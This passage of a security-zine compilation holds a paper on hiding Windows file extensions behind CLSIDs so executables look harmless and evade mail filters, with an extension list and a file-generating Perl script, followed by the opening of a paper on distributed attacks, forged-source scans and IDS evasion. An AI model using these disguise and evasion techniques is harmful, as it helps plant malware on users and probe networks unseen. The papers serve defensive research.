  705. Excerpt from http://msdn.microsoft.com/library/psdk/com/reg_6vjt.htm "CLSID Key
  706.  
  707. A CLSID is a globally unique identifier that identifies a COM class object. If
  708. your server or container allows linking to its embedded objects, then you need
  709. to register a CLSID for each supported class of objects.
  710.  
  711. Registry Entry HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID =
  712.  
  713. Value Entries CLSID Specifies a name that can be displayed in the user
  714. interface.  Remarks The CLSID key contains information used by the default COM
  715. handler to return information about a class when it is in the running state. To
  716. obtain a CLSID for your application, you can use the UUIDGEN.EXE found in the
  717. \TOOLs directory of the COM Toolkit, or use CoCreateGuid. The CLSID is a 128 bit
  718. number, spelled in hex, within a pair of braces."
  719.  
  720. Shortly after I posted my initial research material, I was contacted by Adam L.
  721. Simms about an e-mail thread concerning hidden CLSID extensions. Curious to know
  722. more on this topic, he forwarded me a part of the e-mail thread containing
  723. information about this. As we have seen at the beginning of this chapter, a
  724. CLSID is a unique-number descriptor to register applications in an object liking
  725. an embedding scheme. In Windows, applications and the various file extensions
  726. they are using are closely related. This is why, for example, a .DOC file is
  727. associated to the Word application. Well, as it turns out, you can create a
  728. file, and instead of putting a normal file extension as we normally do, we can
  729. put the associated CLSID as the file's extension. But what's more interesting,
  730. it's that the file will automatically assume the properties of the associated
  731. file extension, and the extensions itself will be invisible.
  732.  
  733. Here are some examples of CLSID:
  734.  
  735.  
  736. html application (.HTA) {3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}
  737. mhtml document {3050F3D9-98B5-11CF-BB82-00AA00BDCE0B}
  738. xml {48123bc4-99d9-11d1-a6b3-00c04fd91555}
  739. xsl {48123bc4-99d9-11d1-a6b3-00c04fd91555}
  740. html {25336920-03F9-11cf-8FD0-00AA00686F13}
  741.  
  742.  
  743.  
  744. I made some tests to verify the extent of this "feature", and the results surprised me very much. I created some files using the html_application and html CLSID above. I also created similar files with their associated extensions. I also made some files using randomly chosen CLSID from my registry. While looking at the registry for these extensions and CLSID in [HKEY_CLASSES_ROOT], I also found several descriptors that looked like Access.ShortCut.Macro, Amovie.ActiveMovie Control and CDDBControl.CddbURLManager. Now knowing about the CLSID problem, I found it wise to test a few of these also, just in case ;-) 
  745.  
  746. In DOS, the files looked like 
  747.  
  748.  
  749.  Volume in drive D is CD         
  750.  Volume Serial Number is 443F-FFED
  751.  Directory of D:\work\temp
  752.  
  753. .                      05-08-01 12:35a .
  754. ..                     05-08-01 12:35a ..
  755. TEST     HTA             0  05-08-01 12:36a test.hta
  756. TESTTX~1 {25             0  05-08-01 12:37a test.txt.{25336920-03F9-11cf-8FD0-00AA00686F13}
  757. TESTTX~1 HTM             0  05-08-01 12:38a test.txt.html
  758. TEST     PIF             0  05-08-01 12:38a test.pif
  759. TEST~1   PIF             0  05-08-01 12:38a test.piffile
  760. TESTAC~1 APP             0  05-08-01 12:39a test.Access.Application
  761. TESTAC~1 1               0  05-08-01 12:40a test.Access.ShortCut.Macro.1
  762. TEST~1   {9E             0  05-08-01  2:49p test.{9E56BE60-C50F-11CF-9A2C-00A0C90A90CE}
  763. TEST~1   {9C             0  05-08-01  2:53p test.{9CBBB803-D654-11D1-8818-C199198E9702}
  764. TEST~1   {94             0  05-08-01  2:55p test.{944d4c00-dd52-11ce-bf0e-00aa0055595a}
  765. TEST~1   {30             0  05-08-01  4:26p test.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}
  766.         11 file(s)              0 bytes
  767.          2 dir(s)     580,976,640 bytes free
  768.  
  769.  
  770.  
  771.  
  772. In Windows Explorer, the file names are displayed as test, test, test, test,
  773. test.Access.Application, test.Access.ShortCut.Macro.1, test.hta, test,
  774. test.piffile, test.txt and test.txt.html. However, the "Type" column displays
  775. the following information (in the same order): HTML Application, DirectDraw
  776. Property Page, SwiftSoft MMLEDPanelX Control,
  777. {9E56BE60-C50F-11CF-9A2C-00A0C90A90CE}, APPLICATION File, 1 File, HTML
  778. Application, Shortcut to MS-DOS Program, PIFFILE File, Microsoft HTML Document
  779. 5.0, Microsoft HTML Document 5.0. It should also be noted that the icons
  780. associated with these files were the generic file icon, except for the
  781. following: test.{9E56BE60-C50F-11CF-9A2C-00A0C90A90CE} displays an enveloppe
  782. icon; as in an e-mail software, test.pif have a little arrow on its icon, just
  783. like any shortcut link; and the two files identified as Microsoft HTML Document
  784. 5.0 have the Internet Explorer icon. It should be pointed out that results may
  785. vary.
  786.  
  787. We can see that Windows Explorer assimilates rather easily CLSID extensions,
  788. hiding from view in the file name itself, and translating it to it's
  789. corresponding file type in the Type column. This makes it even easier than with
  790. Shell Scrap to make dangerous files look innocent to the blind-trusting user,
  791. who probably have is Windows Explorer display on "Small Icons" instead of
  792. "Details", with other configuration by default.
  793.  
  794. The ability to execute code
  795.  
  796. The ability to make a file look like a different type of file, by hiding the
  797. file's extension for exemple, was only the first aspect of the research project.
  798. For a virus to be viable, we also need to be able to run code. From the list of
  799. hidden extensions displayed in chapter 3, I wanted to find out which of these
  800. extensions could be used to execute code, which means that it can potentially be
  801. used to propagate a virus or other type of malware. My point? That current mail
  802. filtering softwares that block certain types of attachment simply don't work. I
  803. never thought that this method was a sufficient guard to protect against
  804. viruses, since these software will always block the same commonly-used file
  805. extensions like .EXE, .COM, .VBS, .SHS, .DLL and the like. But these softwares
  806. weren't blocking .SHS before IRC/Stages.worm (Life Stages). And the same will
  807. happen when a virus uses one of the flaw described in this paper to propagate
  808. itself, because of mainly two things: 1)the products are not proactive, the
  809.  
  810. In fact, the CLSID vulnerability (let's call things with their real names) only
  811. makes the problem worse than I originally estimated. While at the beginning of
  812. this project, I was worried that unknown file extensions could be used to fool
  813. people to click on it and activate virulent code, now thanks to CLSID we also
  814. have to worry about already known file extensions as well, as they can be made
  815. invisible too without even thinkering with the system (as opposed to the
  816. NeverShowExt registry key, which needs to be added in the registry in order to
  817. hide a "normal" extension) and unblocked by filtering software (does your mail
  818. filtering agent blocks attachements of the
  819. {48123bc4-99d9-11d1-a6b3-00c04fd91555} type?). To have an idea of how many
  820. systems objects are defined by CLSIDs, check out the registry under
  821. [HKEY_CLASSES_ROOT\CLSID]. Just about every component of all the software you
  822. know about on your machine is there, and there is even more from the software
  823. you probably didn't even know about. That means you
  824.  
  825. The "executability" of a given extension is a relative thing, the things you can
  826. and cannot do varies from one file type to another. As one reader noted, you can
  827. have different type of "executable files". The first type, the more common,
  828. files that contains code that is activated by the OS when the file is launched.
  829. This includes, but is not limited to, .EXE, .BAT, .COM, .VBS, .PL and the like.
  830. The second type ressembles the first type very much, but the code will be run in
  831. a sandboxed environment, instead of running with full privileges. Such files
  832. would be .HTML, .PS and .JS. Then some extensions contain executable
  833. fully-priviledged code, but cannot be ran directly: .386, .ASP, .DLL, .DRV and
  834. .VXD. Finally, some files contains code that can be runned in a sandboxed
  835. envrironment, but cannot be executed directly from the OS. Such a file type is
  836. .CSS.
  837.  
  838. This research focuses mainly on the first type of files, but the other types can
  839. probably be used on some attack scenario too. It's mostly a matter on ingenuity
  840. and imagination to find new ways to do old things :-) The thing is to find out
  841. if the extensions displayed in chapter 3 can be used to run code. I haven't done
  842. much testing on this topic yet (if you happen to play on this topic, let me know
  843. of your findings), but it would appear that it is feasible. For example, .CNF
  844. (SpeedDial) could potentially be used to make a file that once cliked on, would
  845. hang up the modem and make it call a number overseas for phone fraud purposes.
  846. Preliminary testing shows that the conditions needed for this scenario to be
  847. possible makes it very unprobable to happen in the wild, but technically
  848. feasible. But who knows what these other extensions hold? And when you think
  849. that still a lot of people are gullible enough to click on a .TXT.VBS file,
  850. think what will happen when the .VBS part will be concealed with .{B54F374
  851.  
  852. Conclusion
  853.  
  854. Unfortunately, I have not really discovered anything new here (altough I wish I
  855. had, but others explored these topics before me), but this paper puts in one
  856. place all there is to know about invisible file extensions on Windows, and how
  857. this can be exploited to convince a computer user to double-click on a
  858. executable file, be it to propagate a virus or to plant a trojan horse. At the
  859. light of what is presented here, it is also easy to see the uselessness of
  860. software that scans mail in order to block certain type of files, while allowing
  861. others (for example, MailSweeper, MailSafe in ZoneAlarm, etc...). A more secure
  862. strategy could be by determining allowed file type, and blocking everything
  863. else, a bit like in a firewall which allows specific protocols, and blocks
  864. everything else. But the main reason why this type of products are useless
  865. against this type of attack is primarily because Windows contains these flaws.
  866. When I think that the average user still clicks on any attachment he receives,
  867. concealed or
  868.  
  869. Appendix A. The Perl script
  870.  
  871. Originally, in order to solve my problem, I made a small Perl script that
  872. generates dummy files wearing all possible file extensions under Windows. I
  873. included special characters in my analysis, to be sure that nothing is
  874. overlooked. The program is displayed below. That version is for 3-characters
  875. extensions, remove one or two loops to make 2-characters and 1-character
  876. extensions. For analysis clarity, I sorted the files under folders starting by
  877. the first letter of the extension. This is necessary for having decent refresh
  878. times from Windows Explorer. I also stopped at 3-letters extensions, since four
  879. letter extensions would have generated too many combinations to look at, but
  880. that doens't mean that they don't exist (.html, for example). The Perl script is
  881. provided here as reference material, and can be used or modified to repeat
  882. similar experiences.
  883.  
  884.  
  885. #!C:\perl 
  886. @alpha=("a","b","c","d","e","f","g","h","i","j","k","l",
  887. "m","n","o","p","q","r","s","t","u","v","w","x","y","z",
  888. "0","1","2","3","4","5","6","7","8","9","\$","_",")",
  889. "(","&","^","%","#","@","!","'","-","=","+",";","[","]",
  890. "{","}");
  891.  for($i=0;$i<55;$i++)
  892.     {
  893.     mkdir $alpha[$i];
  894.     chdir $alpha[$i];
  895.     for($j=0;$j<55;$j++)
  896.         {for($k=0;$k<55;$k++)
  897.             {
  898.             $ext=$alpha[$i].$alpha[$j].$alpha[$k];
  899.             $filename="test.".$ext;
  900.             open (TESTFILE, ">>".$filename);
  901.             print TESTFILE "bla";
  902.             print "#";
  903.             close (TESTFILE);
  904.             }
  905.         }
  906.     chdir "..";
  907.     }
  908.  
  909.  
  910.  
  911. Appendix B. The file extensions list
  912.  
  913. Once these extensions were generated, I examined all 169 455 combinations
  914. through Windows Explorer, in order to determine the system behavior towards
  915. these files. The biggest majority of these files turned out to be generic file
  916. extensions, meaning that no application is associated with them, and as such
  917. represents no harm in the aspect of this research. So I proceeded to extract all
  918. file extensions that Windows knew something about, by examining the file icon
  919. and file description. Some of these extensions are native to the Windows
  920. operating system, some others are the result of application softwares installed
  921. on my machine. For this reason, we can't qualify this list as "the ultimate file
  922. extension list under Windows", since a system configured for different needs
  923. would have produced a different list. However, the list presented here is
  924. somewhat complete and is a good reference material. Some application softwares
  925. also identify some file extensions with the application name, instead of the
  926. more generi
  927.  
  928. This list is provided as is, and is only a by-product of my original research.
  929. There could be mistakes or ommissions, if this is the case, simply notify me and
  930. I will update the list accordingly. You can always check out the website
  931. http://filext.com for a more complete list.
  932.  
  933.  
  934. .323 H.323 Internet Telephony
  935. .386 Virtual Device Driver - Executable
  936.  
  937. .669 WinAmp media file
  938.  
  939. .aca MS Agent Character file
  940. .acf MS Agent Character file
  941. .acg MS Agent Preview file
  942. .acs MS Agent Character file
  943. .ade MS Access Project Extension - Executable
  944. .adn MS Access Blank Project Template - Executable
  945. .adp MS Access Project - Executable
  946. .aif Mac .aiff Sound Clip
  947. .ani Animated Cursor
  948. .arc PkArc DOS archive
  949. .arj ARJ archive
  950. .art ART image
  951. .asa Active Server Document
  952. .asf Streaming Audio/Video File
  953. .asp Active Server Document - Executable
  954. .asx Streaming Audio/Video shortcut - Executable
  955. .au  AU Format Sound
  956. .avi Video clip
  957. .awd Fax Viewer Document
  958.  
  959. .b64 base64-encoded file
  960. .bas Visual Basic Class Module - Executable
  961. .bat MD-DOS Batch file - Executable
  962. .bhx Mac BinHex-encoded file
  963. .bmp Bitmap Image
  964.  
  965. .c   C source code
  966. .cab Windows propietary archiver
  967. .cat Security Catalog
  968. .cda WinAmo media file
  969. .cdf Channel File
  970. .cdx Active Server Document
  971. .cer Security Certificate
  972. .chm Compiled HTML Help file - Executable
  973. .cil Clip Gallery Download Package
  974. .cmd Windows NT Command Script - Executable
  975. .cnf SpeedDial (NeverShowExt) - Executable
  976. .com MS-DOS Application - Executable
  977. .cpl Control Panel extension - Executable
  978. .crl Certificate Revocation List
  979. .crt Security Certificate
  980. .css Cascading Style Sheet Document - Executable
  981. .csv MS Excel Comma Separated Values file
  982. .cur Cursor
  983.  
  984. .dcx DCX Image Document
  985. .der Security Certificate
  986. .dic Text Document
  987. .dif MS Excel Data Interchange Format
  988. .dll Application Extension - Executable
  989. .doc MS Word Document
  990. .dot MS Word Template
  991. .dqy MS Excel ODBC Query file
  992. .drv Device Driver
  993. .dsm WinAmp media file
  994. .dsn MS OLE DB Provider for ODBC Drivers
  995. .dun Dial-Up Networking Exported file
  996. .drv Device Driver - Executable
  997.  
  998. .eml Outlook Express Mail Message
  999. .exc Text Document
  1000. .exe Application - Executable, by definition
  1001.  
  1002. .far WinAmp media file
  1003. .fav Outlook Bar Shortcuts
  1004. .fdf Adobe Acrobat Forms Document
  1005. .fnd Saved Search
  1006. .fon Font file
  1007.  
  1008. .gfi GFI File
  1009. .gfx GFX File
  1010. .gif GIF Image
  1011. .gim GIM File
  1012. .gix GIX File
  1013. .gna GNA File
  1014. .gnx GNX File
  1015. .gra MS Graph 2000 Chart
  1016. .grp MS Program Group
  1017. .gwx GWX File
  1018. .gwz GWZ File
  1019. .gz  GNU zip
  1020.  
  1021. .h   C definition code
  1022. .hlp Help File - Executable
  1023. .hqx Mac archiver file
  1024. .ht  HyperTerminal file
  1025. .hta HTML Application - Executable
  1026. .htm MS HTML Document 5.0 - Executable
  1027. .html MS HTML Document 5.0 - Executable
  1028. .htt HyperText Template
  1029. .htx Internet Database Connector HTML Template
  1030.  
  1031. .icc ICC Profile
  1032. .icm ICC Profile
  1033. .ics iCalendar File
  1034. .idf MIDI Instrument Definition
  1035. .iii Intel IPhone Compatible
  1036. .inf Setup information - Executable
  1037. .ini Configuration Settings
  1038. .ins Internet Communication Settings - Executable
  1039. .iqy MS Excel Web Query File
  1040. .isp Internet Communication Setting - Executable
  1041. .it  WinAmp media file
  1042. .its Internet Document Set
  1043. .ivf IVF File
  1044.  
  1045. .job Task Scheduler Task Object
  1046. .jod MS.Jet.OLEDB.4.0
  1047. .jpe JPEG Image
  1048. .jpg JPEG Image
  1049. .js  JScript file - Executable
  1050. .jse Jscript Encoded Script File Ink Shortcut - Executable
  1051.  
  1052. .lnk Shortcut (NeverShowExt) - Executable
  1053. .lsf Streaming Audio/Video file
  1054. .lsx Streaming Audio/Video shortcut
  1055. .lwv MS Linguistically Enhanced Sound File
  1056. .lzh LZH DOS archiver
  1057.  
  1058. .m1v Movie Clip
  1059. .m3u WinAmp Playlist file
  1060. .mad MS Access Module Shortcut (NeverShowExt) - Executable?
  1061. .maf MS Access Form Shortcut (NeverShowExt) - Executable?
  1062. .mag MS Access Diagram Shortcut (NeverShowExt) - Executable?
  1063. .mam MS Access Macro Shortcut (NeverShowExt) - Executable?
  1064. .maq MS Access Query Shortcut (NeverShowExt) - Executable?
  1065. .mar MS Access Report Shortcut (NeverShowExt) - Executable?
  1066. .mas MS Access StoredProcedure shortcut (NeverShowExt) - Executable?
  1067. .mat MS Access Table Shortcut (NeverShowExt) - Executable?
  1068. .mav MS Access View Shortcut (NeverShowExt) - Executable?
  1069. .maw MS Access Data Access Page Shortcut (NeverShowExt) - Executable?
  1070. .mda MS Access Add-in
  1071. .mdb MS Access Database - Executable
  1072. .mde MS Access MDE Database - Executable
  1073. .mdn MS Access Blank Database Template
  1074. .mdt MS Access Add-in data
  1075. .mdw MS Access Workgroup Information
  1076. .mdz MS Access Database Wizard Template
  1077. .mht MS MHTML Document Document 5.0
  1078. .mid MIDI file
  1079. .mim WinZip file
  1080. .mmc Medias Catalog
  1081. .mod MODplayer Media file
  1082. .mov Quicktime movie clip
  1083. .mp1 MPEG1-audio file
  1084. .mp2 MPEG2-audio file
  1085. .mp3 MPEG3-audio file
  1086. .mpa MPEG Movie Clip
  1087. .mpe MPEG Movie Clip
  1088. .mpg MPEG Movie Clip
  1089. .msc MS Common Console Document - Executable
  1090. .msg Outlook Item
  1091. .msi Windows Installer Package - Executable
  1092. .msp Windows Installer Patch - Executable
  1093. .mst Visual Test Source Files - Executable
  1094. .mtm WinAmp Media file
  1095.  
  1096. .nsc NSC File (have an icon, probably associated with Media Player)
  1097. .nws Outlook Express News Message
  1098.  
  1099. .oft Outlook Item Template
  1100. .opx MS Organization Chart 2.0
  1101. .oqy MS Excal OLAP Query File
  1102. .oss Office Search
  1103.  
  1104. .p10 Certificate Request
  1105. .p12 Personnal Information Exchange
  1106. .p7b PKCS #7 Certificates
  1107. .p7m PKCS #7 MIME Message
  1108. .p7r Certificate Request Response
  1109. .p7s PKCS #7 Signature
  1110. .pcd Photo CD Image - Executable
  1111. .pcx PCX Image Document
  1112. .pdf Adobe Acrobat Document
  1113. .pfx Personnal Information Exchange
  1114. .pgd PGPDisk volume
  1115. .pif Shortcut to MS-DOS Program (NeverShowExt) - Executable
  1116. .pko Public Key Security Object
  1117. .pl  Perl file - Executable
  1118. .pls Winamp Playlist file
  1119. .png PNG Image
  1120. .pot MS PowerPoint Template
  1121. .ppa MS PowerPoint Addin
  1122. .pps MS PowerPoint Slide Show
  1123. .ppt MS PowerPoint Presentation
  1124. .prf PICSRules File
  1125. .ps  PostScript file - Executable
  1126. .pwz MS PowerPoint Wizard
  1127. .py  Python file - Executable
  1128.  
  1129. .qcp QUALCOMM PureVoice File
  1130. .qt  QuickTime Video Clip
  1131. .que Task Scheduler Queue Object
  1132.  
  1133. .rat Rating System File
  1134. .reg Registration Entries - Executable
  1135. .rmf Adobe Webbuy Plugin
  1136. .rmi MIDI Sequence
  1137. .rqy MS Excel OLE DB Query files
  1138. .rtf Rich Text Format
  1139.  
  1140. .s3m ScreamTracker3 Media file
  1141. .scf Windows Explorer Command (NeverShowExt, generic icon) - Executable?
  1142. .scp Dial-Up Networking Script
  1143. .scr Screen Saver File - Executable
  1144. .sct Windows Script Component - Executable
  1145. .shb Shortcut into a document (NeverShowExt) - Executable
  1146. .shf PGP Share
  1147. .shs Shell Scrap object (NeverShowExt) - Executable
  1148. .sig PGP Detached signature file
  1149. .skr PGP Private Keyring
  1150. .slk MS Excel SLK Data Import Format
  1151. .snd AU Format Sound
  1152. .snp Snapshot File
  1153. .spa Flash Movie
  1154. .spc PKCS #7 Certificates
  1155. .spl Shockwave Flash Object
  1156. .sst Certificate Store
  1157. .sta sta file (Eudora)
  1158. .stl Certificate Trust List
  1159. .stm WinAmp media file
  1160. .swf Shockwave Flash Object
  1161. .swt Generator Template
  1162. .sys System file
  1163.  
  1164. .tar TAR archive file
  1165. .taz gzipped TAR archive
  1166. .tgz gzipped TAR archive
  1167. .tif TIFF Image Document
  1168. .ttf TrueType Font file
  1169. .txt Text Document
  1170. .tz  gzipped TAR archive
  1171.  
  1172. .udl MS Data Link
  1173. .uls Internet Location Service (generic icon) - Executable?
  1174. .ult Winamp media file
  1175. .url Internet Shortcut (NeverShowExt) - Executable
  1176. .uu  UUencoded file
  1177. .uue UUencoded file
  1178.  
  1179. .vb  VBScript File - Executable
  1180. .vbe VBScript Encoded Script File - Executable
  1181. .vbs VBScript Script File - Executable
  1182. .vcf vCard File
  1183. .vcs vCalendar File
  1184. .voc Winamp Medias file
  1185. .vsd VISIO 5 drawing
  1186. .vss VISIO 5 drawing
  1187. .vst VISIO 5 drawing
  1188. .vsw VISIO 5 drawing
  1189. .vxd Virtual device driver - Executable
  1190.  
  1191. .wab Address Book File
  1192. .wav Waveform audio file
  1193. .wbk MS Word Backup Document
  1194. .wht MS NetMeeting Whiteboard Document
  1195. .wif WIF Image Document
  1196. .wiz MS Word Wizard - Executable
  1197. .wlg Dr. Watson Log
  1198. .wm  Windows Media Audio/Video File
  1199. .wma Windows media audio
  1200. .wpd WordPerfect file
  1201. .wpz Winamp extension installation file
  1202. .wri Write Document
  1203. .wsc Windows Script Component - Executable
  1204. .wsh Windows Script File - Executable
  1205. .wsh Windows Scripting Host Settings File - Executable
  1206. .wsz Winamp extension installation file
  1207.  
  1208. .xif XIF Image Document
  1209. .xla MS Excel Add-in
  1210. .xlb MS Excel Worksheet
  1211. .xlc MS Excel Chart
  1212. .xld MS Excel 5.0 DialogSheet
  1213. .xlk MS Excel Backup File
  1214. .xll MS Excel XLL
  1215. .xlm MS Excel 4.0 Macro
  1216. .xls MS Excel Worksheet
  1217. .xlt MS Excel Template
  1218. .xlv MS Excel VBA Module
  1219. .xlw MS Excel Workspace
  1220. .xm  ScreamTracker media file
  1221. .xml XML Document
  1222. .xnk Exchange Shortcut (NeverShowExt) - Executable?
  1223. .xsl XSL Stylesheet
  1224. .xxe XXencoded file
  1225.  
  1226. .z   Compressed file
  1227. .z0  Z0 file (ZoneAlarm)
  1228. .z1  Z1 file (ZoneAlarm)
  1229. .zip Zipped file
  1230. .ZL?  ZoneAlarm Mailsafe Renamed File
  1231.  
  1232.  
  1233.  
  1234. ZoneAlarm Mailsafe will quarantine mail attachments and changes their extension.
  1235. The conversions are:
  1236.  
  1237.  
  1238. .ADE to .ZL0
  1239. .ADP to .ZL1
  1240. .BAS to .ZL2
  1241. .BAT to .ZL3
  1242. .CHM to .ZL4
  1243. .CMD to .ZL5
  1244. .COM to .ZL6
  1245. .CPL to .ZL7
  1246. .CRT to .ZL8
  1247. .EXE to .ZL9
  1248. .HLP to .ZLA
  1249. .HTA to .ZLB
  1250. .INF to .ZLC
  1251. .INS to .ZLD
  1252. .ISP to .ZLE
  1253. .JS to Z0
  1254. .JSE to .ZLF
  1255. .LNK to .ZLG
  1256. .MDB to .ZLH
  1257. .MDE to .ZLI
  1258. .MSC to .ZLJ
  1259. .MSI to .ZLK
  1260. .MSP to .ZLL
  1261. .MST to .ZLM
  1262. .PCD to .ZLN
  1263. .PIF to .ZLO
  1264. .REG to .ZLP
  1265. .SCR to .ZLQ
  1266. .SCT to .ZLR
  1267. .SHS to .ZLS
  1268. .URL to .ZLT
  1269. .VB to .Z1
  1270. .VBE to .ZLU
  1271. .VBS to .ZLV
  1272. .WSC to .ZLW
  1273. .WSF to .ZLX
  1274. .WSH to .ZLY
  1275.  
  1276.  
  1277.  
  1278.  
  1279. ===========[     Strategies for Defeating Distributed Attacks     ]=============
  1280.  
  1281.                            --- by Simple Nomad ---
  1282.  
  1283.  
  1284. Abstract With the advent of distributed Denial of Service (DoS) attacks such as
  1285. Trinoo, TFN, TFN2K and stacheldraht [1], there is an extreme interest in finding
  1286. solutions that thwart or defeat such attacks. This paper tries to look not just
  1287. at distributed DoS attacks but distributed attacks in general. The intent is not
  1288. to devise or recommend protocol revisions, but to come up with useable solutions
  1289. that could be implemented at a fairly low cost. This paper is also written with
  1290. the idea that probably 90% of the problems surrounding distributed attacks can
  1291. be easily solved, with the last 10% requiring some type of long-range strategies
  1292. or new code to be written.  Basics About Attack Recognition
  1293.  
  1294. How does one recognize an attack? Not just a Denial of Service attack, but any
  1295. attack? Before we can start applying solutions, we need to have a discussion of
  1296. attack recognition techniques. So let's first look at the two main methods of
  1297. attack recognition - pattern recognition and affect recognition.
  1298.  
  1299. Pattern recognition looks for a measurable quality of the attack in a file, a
  1300. packet, or in memory. Looking for file size increases of 512 bytes or seeing a
  1301. certain byte sequence in RAM are two simple examples of pattern recognition.
  1302. Looking for the string "phf.cgi" in web traffic might be a simple method used by
  1303. a network-based Intrusion Detection System (IDS).
  1304.  
  1305. Effect recognition is recognizing the effects of an attack. An example might be
  1306. specific log file entries, or an "unscheduled" system reboot.
  1307.  
  1308. In intrusion detection, pattern recognition is the only method used by
  1309. network-based IDS, while both pattern and effect recognition can be found in
  1310. host-based IDS. And herein lies the crux of the problem - attack methods are
  1311. calling for effect recognition methods to be applied to network-based IDSes, and
  1312. the technology just isn't there. See [2], [3].
  1313.  
  1314. Pattern recognition alone has problems to begin with. If a pattern that is being
  1315. checked for is altered by the attacker, such as a key word or byte sequence,
  1316. then the IDS will miss it. For over a year it has been common knowledge that by
  1317. dividing up an attack sequence into fragmented packets, you can defeat most
  1318. IDSes. In fact, a majority of commercial IDSes are still unable to process
  1319. fragmented IP packets [4].
  1320.  
  1321. Now couple this with the fact that effect recognition technology for
  1322. network-based IDSes is virtually non-existent, and you can see the problem. If
  1323. an attack is a one-time network event, your network-based IDS stands a chance of
  1324. detecting it, but a sustained series of network events will be even more
  1325. difficult to detect, especially if the events are disguised to look like normal
  1326. network traffic.
  1327.  
  1328. Distributed DoS attack tools such as stacheldraht will leave definite patterns
  1329. that can be searched out on the network. But attackers can modify the source
  1330. code of the tools, causing a different pattern to be produced. If they do this,
  1331. the IDS will not detect the new pattern.
  1332.  
  1333. What we need is an Overall Behavior Network Monitoring Tool, that can look at
  1334. logs on different systems from different vendors, sniff realtime network
  1335. traffic, and can logically determine bizarre or abnormal behavior (and alert
  1336. us). Unfortunately, there *is* no such tool, so we need to make use of what
  1337. tools we have (firewalls, IDS, etc) in a way that will thwart or at least notify
  1338. us about potential distributed network attacks. We will discuss such strategies
  1339. in this paper.  Definition of the Attack Model
  1340.  
  1341. Before we start defining attack models, it should be noted that a number of the
  1342. attack models discussed here are theoretical. To prevent confusion we will not
  1343. differeniate between the two. Our discussion here centers around the overall
  1344. concept of a distributed attack, real and theoretical, and tries to solve for
  1345. the concept instead of specific attacks.
  1346.  
  1347. There are two basic models of attack. In the first, the attacker does not need
  1348. to see the results. In the second, the attacker *does* need to see the results.
  1349. Distributed DoS attacks are good examples of attacks where the attacker does not
  1350. need to see the results, and since this simplifies our attack model, we will
  1351. examine that model first.
  1352.  
  1353. Distributed attacks have one interesting element in common. Typically someone
  1354. else's system is used to perform fairly critical tasks to meet the objective.
  1355. The flow of action is usually like so:
  1356.  
  1357. Figure 1: 
  1358.  
  1359.      *--------*     *--------*     *-------*
  1360.      |        |     |        |     |       |
  1361.      | client |---->| server |---->| agent |
  1362.      |        |     |        |     |       |
  1363.      *--------*     *--------*     *-------*
  1364.  
  1365.        issues       processes       carries
  1366.       commands       command      out commands
  1367.                     requests to 
  1368.                     agents
  1369.  
  1370. There can be multiple servers, and hundreds of agents. The usual deployment
  1371. involves installing servers and agents on compromised systems, in particular
  1372. installing the agents on systems with a lot of bandwidth. To help prevent
  1373. detection and tracing back to the attacker directing the activities, the act of
  1374. issuing commands is typically done using encryption, and by using ICMP as a
  1375. transport mechanism.  With encryption, this helps at least hide the activities
  1376. from active sniffers being used by administrators, although it does not preclude
  1377. detection by other means. The packets used in part of the communications by such
  1378. products as TFN2K and stacheldraht can be encrypted, rendering common viewing
  1379. via a sniffer or IDS from casual detection of the rogue packets.
  1380.  
  1381. While the model for hostile behavior that does not require viewing of the
  1382. results or "return packets" is in reality a little more complex than the model
  1383. I've outlined, the model for hostile behavior that *does* require viewing of the
  1384. results or "return packets" is a lot more complex [5]. For the sake of brevity,
  1385. we will only cover possible techniques that will help hide the attacker's source
  1386. address and/or use maximum stealth techniques, including theoretical ones such
  1387. as traffic pattern masking and upstream sniffing [6].
  1388.  
  1389. We will divide up the more complex scenario of "the attacker seeing the results"
  1390. into three categories - enumeration of targets, host and host service(s)
  1391. identification, and actual penetration - and outline each category.
  1392.  
  1393. Enumeration: This is the act of determining what hosts are actually available
  1394. for potential probing and attack.
  1395.  
  1396. Enumeration example 1, figure 2:
  1397.  
  1398.  
  1399.      *----------*                                  *---------*
  1400.      |          | NMap forged ICMP_ECHO packets    |         |
  1401.      | attacker |--------------------------------->| targets |
  1402.      |          |             ---------------------|         |
  1403.      *----------*            /                     *---------*
  1404.           |                 /
  1405.         ngrep      target replies to forged source
  1406.           |               /
  1407.      <--------------------
  1408.  
  1409. This first enumeration example is fairly simple - by sending forged ICMP_ECHO
  1410. packets, the attacker sniffs the replies destined for the forged source address.
  1411. This can be readily accomplished using tools such as NMap [7] and ngrep [8] as
  1412. long as the attacking host is upstream from the target network.
  1413.  
  1414. Enumeration example 2, figure 3:
  1415.  
  1416.  
  1417.                                               *---*
  1418.                                               | f |
  1419.                                               | i |
  1420.                                               | r |
  1421.      *----------*                             | e |   *---------*
  1422.      |          | forged ICMP_TSTAMP packets  | w |   |         |
  1423.      | attacker |-----------------------------| a |-->| targets |
  1424.      |          |             ----------------| l |---|         |
  1425.      *----------*            /                | l |   *---------*
  1426.           |                 /                 *---*
  1427.         snort      target replies to forged source(s)
  1428.           |               /
  1429.      <--------------------
  1430.  
  1431. This second example of enumeration is also fairly simple. Assuming the firewall
  1432. is blocking ICMP_ECHO, we decide to send ICMP_TSTAMP packets with forged
  1433. addresses. Instead of ngrep in this example, we use an IDS product called snort
  1434. [9]. Snort is configured to capture the ICMP_TSTAMPREPLY packets. Once again in
  1435. this example we are assuming the attacking host is upstream of the target
  1436. network.
  1437.  
  1438. Now we move on to host and host service identification.
  1439.  
  1440. Host/Host Services Identification example 1, figure 4:
  1441.  
  1442.  
  1443.  
  1444.                                               *---*
  1445.                                               | f |
  1446.                                               | i |
  1447.                                               | r |
  1448.      *----------* NMap forged source address  | e |   *---------*
  1449.      |          | with source port of 80      | w |   |         |
  1450.      | attacker |-----------------------------| a |-->| targets |
  1451.      |          |             ----------------| l |---|         |
  1452.      *----------*            /                | l |   *---------*
  1453.           |                 /                 *---*
  1454.         snort      target replies to forged source
  1455.           |               /
  1456.      <--------------------
  1457.  
  1458. In figure 4, port and OS identification scans are done against targets behind a
  1459. firewall by taking advantage of the fact that SYN/ACKs with a source port of 80
  1460. are allowed through. Mistaken as web traffic, the IDS and the firewall are
  1461. bypassed and the targets are scanned. Using a list of valid hosts attained via
  1462. host enumeration techniques, only valid targets are scanned. By forging the
  1463. source address, it helps hide the true source of the scan. Reply packets are
  1464. recovered via snort.
  1465.  
  1466. Figure 4 outlines a poorly configured firewall (or even a simple packet
  1467. filtering ruleset on a router), so we will look at something a little more
  1468. sophisticated.
